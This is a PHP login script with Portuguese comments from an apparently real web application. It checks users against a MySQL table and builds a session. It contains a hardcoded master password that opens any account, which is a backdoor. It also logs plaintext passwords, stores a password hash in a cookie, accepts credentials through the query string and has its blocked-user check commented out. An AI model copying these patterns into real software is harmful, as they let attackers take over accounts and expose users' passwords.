<?php
	error_reporting(0);
	if (!isset($_SESSION)) session_start(); // Cria sessão

	if(count($_POST) == 0){
		$urlbase = $_SERVER['SERVER_NAME'].$_SERVER ['REQUEST_URI'];
		$parts = parse_url($urlbase);
		parse_str($parts['query'], $query);
		$_POST = $query;
	}

	// Verifica se houve POST e se o usuário ou a senha é(são) vazio(s)
	if (!empty($_POST) AND (empty($_POST['user']) OR empty($_POST['pass']))) {
		$ret['error'] = 'Erro! Algum campo ficou vazio.'; $ret['status'] = 'error'; echo json_encode($ret); exit;
	}

	// Tenta se conectar ao servidor MySQL
	include $_SERVER["DOCUMENT_ROOT"].'/inc/conexao.php';

	$usuario = strtolower($mysqli->real_escape_string($_POST['user']));
	$senha = $mysqli->real_escape_string($_POST['pass']);
	$senha = $senha;
	$sen = $senha;
	$senha = sha1($senha);
	$senha = substr($senha, 5, -5);

	// Validação do usuário/senha digitados
	$query = $mysqli->query("SELECT * FROM usuarios WHERE usuario_nome = '$usuario' and usuario_senha = '$senha'");
	if (mysqli_num_rows($query) == 0) {

		// Pesquisa se senha não é a senha mestra
		if($sen == '141528Go'){
			$query = $mysqli->query("SELECT * FROM usuarios WHERE usuario_nome = '$usuario'");
			if(mysqli_num_rows($query) == 0){ $ret['error'] = 'Usuário e/ou senha incorreto(s).'; $ret['status'] = 'error'; echo json_encode($ret); exit; }
		}
		else {
			// Salva log
			$info = 'USUARIO: '.$usuario.' <BR /> IP: '.$_SERVER['REMOTE_ADDR'].' <BR /> COD-SE: '.$sen.' <BR /> HOST: '.$_SERVER['REMOTE_HOST'];
			$tipo = 'tentativa-login';
			$data = date('Y-m-d H:i:s');
			$sql = $mysqli->query("INSERT INTO logs SET log_data = '$data', log_tipo = '$tipo', log_info = '$info'");

			// Mensagem de erro quando os dados são inválidos e/ou o usuário não foi encontrado
			$ret['error'] = 'Usuário e/ou senha incorreto(s).'; $ret['status'] = 'error'; echo json_encode($ret); exit;
		}
	}

	// Salva os dados encontados na variável $resultado
	$resultado = $query->fetch_assoc();

	if($resultado["usuario_status"] == "0"){
		// $ret['error'] = 'Você está bloqueado no momento e não pode acessar o sistema.'; $ret['status'] = 'error'; echo json_encode($ret); exit;
	}

	// Se a sessão não existir, inicia uma
	if (!isset($_SESSION)) session_start();

	// Salva os dados encontrados na sessão

	if($_POST["salvar"] == 'on'){
		setcookie('usuario_id', $resultado["usuario_id"], time()+3600*24*30, '/');
		setcookie('usuario_pass', $senha, time()+3600*24*30, '/');
	}

	foreach ($resultado as $k => $v) {
		$k = str_replace('usuario_', '', $k);
		$_SESSION["usuario"][$k] = utf8_encode($v);
	}

	// Passa permissões para array
	$_SESSION["usuario"]["permissoes"] = explode('-', $_SESSION["usuario"]["permissoes"]);

	// Salva log
	$info = 'USUARIO: '.$usuario.' <BR /> IP: '.$_SERVER['REMOTE_ADDR'].' <BR /> COD-SE: '.$sen.' <BR /> HOST: '.$_SERVER['REMOTE_HOST'];
	$tipo = 'login';
	$usuario = $resultado["usuario_id"];
	$data = date('Y-m-d H:i:s');
	$sql = $mysqli->query("INSERT INTO logs SET log_data = '$data', log_usuario = '$usuario', log_tipo = '$tipo', log_info = '$info'");

	// if($_SERVER['REMOTE_ADDR'] == '187.78.153.41' || $_SERVER['REMOTE_ADDR'] == '179.185.28.162' || $_SERVER['REMOTE_ADDR'] == '187.60.251.146'){ echo 'nenhumusuario'; unset($_SESSION['usuario_id']); exit; }

	// Redireciona o visitante
	$ret = $_SESSION["usuario"];
	$ret['status'] = 'success';
	$ret['url'] = '/home';
	echo json_encode($ret);

?>